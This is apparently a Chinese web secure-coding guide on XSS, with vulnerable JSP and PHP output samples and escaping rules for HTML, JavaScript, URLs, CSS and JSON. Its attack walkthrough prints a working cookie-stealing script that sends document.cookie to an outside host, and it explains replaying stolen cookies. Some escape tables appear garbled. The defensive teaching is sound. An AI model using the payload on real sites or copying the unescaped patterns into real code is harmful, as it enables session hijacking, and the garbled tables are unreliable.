本文档是黑客编写的web安全编程原则和例子,对从事web开发的工程师提高web安全编程有帮助。
为了让大家对各种web安全威胁的产生原因、常见攻击手段有更深入的了解,并且作为各种web安全威胁的修补方案标准,以便大
家能够快速的定位漏洞代码和解除安全隐患。
本文档有详细的代码例子和易懂的写法。包括
绝对是web工程师的安全编程的参考。
例如:XSS 攻击
- Cross Site Script(XSS),跨站脚本攻击。
攻击者利用应用程序的动态展示数据功能,在html页面里嵌入恶意代码。当用户浏览该页之时,这些嵌入在html中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。
跨站脚本攻击有以下几种攻击形式
1、反射型跨站脚本攻击
攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
2、存储型跨站脚本攻击
攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。
3、DOM跨站攻击
由于html页面中,定义了一段JS,根据用户的输入,显示一段html代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。
DOM跨站和以上两个跨站攻击的差别是,DOM跨站是纯页面脚本的输出,只有规范使用JAVASCRIPT,才可以防御。
恶意攻击者可以利用跨站脚本攻击做到:
1、盗取用户cookie,伪造用户身份登录。
2、控制用户浏览器。
3、结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。
4、衍生URL跳转漏洞。
5、让官方网站出现钓鱼页面。
6、蠕虫攻击
直接在html页面展示“用户可控数据”,将直接导致跨站脚本威胁。
Java示例:
某JSP文件
while(rs.next()) { %> <tr> <td><%=rs.getInt("id") %></td> <td><%=rs.getString("pname")%></td> <td><%=rs.getString("pdesc")%></td> <td><%=rs.getString("ptype")%></td> </tr> <% } |
代码中这几个加粗的变量“rs.getInt("id")、rs.getString("pname")、rs.getString("pdesc")、rs.getString("ptype")”,被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据”当成JS/VBS脚本执行,或页面元素被“用户可控数据”插入的页面HTML代码控制,从而造成攻击。
PHP代码示例
<tr> <td><?=$row["id"] ?></td> <td><?=$row["pname"]?></td> <td><?=$row["pdesc"]?></td> <td><?=$row["ptype"]?></td> </tr>
|
如果“代码示例”中的代码,是xxxx.com上的一个web应用,恶意用户可以做以下攻击。
攻击流程:
- 添加产品时插入恶意脚本
攻击者发布产品后,等待用户来浏览产品列表页面。
- 一个用户浏览了页面
页面代码
页面中直接显示了攻击者当时提交的“pdesc”的内容,也就是恶意脚本。
将执行http://inbreak.net/a.js这个JS脚本。
脚本内容:
a=document.createElement("iframe");function b(){e=escape(document.cookie);c=["http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie=",e,Math.random()];document.body.appendChild(a);a.src=c.join();}setTimeout('b()',5000); |
获取当前浏览者的COOKIE,并发送到a.php,这个文件负责接收到用户发来的cookie,并保存为haha.txt文件。这时,用户的cookie已经发送到了攻击者的服务器上,攻击者可以打开haha.txt文件。
这就是刚才那个用户的cookie,攻击者可以使用浏览器插件,把自己的cookie替换成刚刚窃取用户的cookie。之后攻击者再次访问服务器时,服务器应用程序,就认为攻击者的身份是刚刚那个用户。
HTML/XML页面输出规范:
- 在HTML/XML中显示“用户可控数据”前,应该进行html escape转义。
JAVA示例:
<div>#escapeHTML($user.name) </div> <td>#escapeHTML($user.name)</td> 所有HTML和XML中输出的数据,都应该做html escape转义。 |
escapeHTML函数参考esapi实现:
PHP示例:
<div>htmlentities($row["user.name"])</div> 所有HTML和XML中输出的数据,都应该做html escape转义。 |
escapeHTML需要进行html转义应该按照以下列表进行转义
& --> & < --> < > --> > " --> " ' --> ' |
2,在javascript内容中输出的“用户可控数据”,需要做javascript escape转义。
html转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。
JAVA示例:
<script>alert('#escapeJavaScript($user.name)')</script> <script>x='#escapeJavaScript($user.name)'</script> <div οnmοuseοver="x='#escapeJavaScript($user.name)'"</div> |
需要转义的字符包括
/ --> \/ ' --> \' " --> \" \ --> \\ |
escapeJavaScript函数参考esapi实现:
3,对输出到富文本中的“用户可控数据”,做富文本安全过滤(允许用户输出HTML的情况)。
示例(Fasttext框架):
<td>文章内容:</td><td>#SHTML($article.context)</td> |
安全过滤的代码,请参考“Fasttext框架”的富文本输出函数。
4,输出在url中的数据,做url安全输出。
一些html标签的属性,需要,如果接收“用户可控数据”,需要做安全检查。
以下属性的值,如果是用户可控数据,需要做安全检查
'action', 'background', 'codebase', 'dynsrc', 'href', 'lowsrc', 'src', |
这些属性的值,一般都是一个URL,如果整串URL都是由“用户可控数据”组成的,则必须满足以下条件:
1)以“http”开头
char[] uc = url.toCharArray(); if(uc[0] != 'h' || uc[1] != 't' || uc[2] != 't' || uc[3] != 'p'){ return ""; } |
2)转义“用户可控数据”中的以下字符
< --> %3C > --> %3E " --> %22 ' --> %27 |
举例使用:
<a href=”#surl($url)”>链接</a> <img src=”#surl($imgurl)”> 。。。 |
7,在style内容中输出的“用户可控数据”,需要做CSS escape转义。
举例使用:
String safe = ESAPI.encoder().encodeForCSS( request.getParameter("input") ); |
encodeForCSS实现代码参考:
AJAX输出规范:
1、XML输出“用户可控数据”时,对数据部分做HTML转义。
示例:
<?xml version="1.0" encoding="UTF-8" ?> <man> <name>#xmlEscape($name)</name> <man> |
2、json输出要先对变量内容中的“用户可控数据”单独作htmlEscape,再对变量内容做一次javascriptEscape。
String cityname=”浙江<B>”+StringUtil.htmlEscape(city.name)+”</B>”; String json = "citys:{city:['"+ StringUtil.javascript(cityname) + "']}"; |
3、非xml输出(包括json、其他自定义数据格式),response包中的http头的contentType,必须为json,并且用户可控数据做htmlEscape后才能输出。
response.setContentType("application/json"); PrintWriter out = response.getWriter(); out.println(StringUtil.htmlEscape(ajaxReturn)); |
当然,更多的内容,可到下面的链接进行下载。
https://pan.baidu.com/s/1YwbQO8nYb2Pc6DNRbRWunQ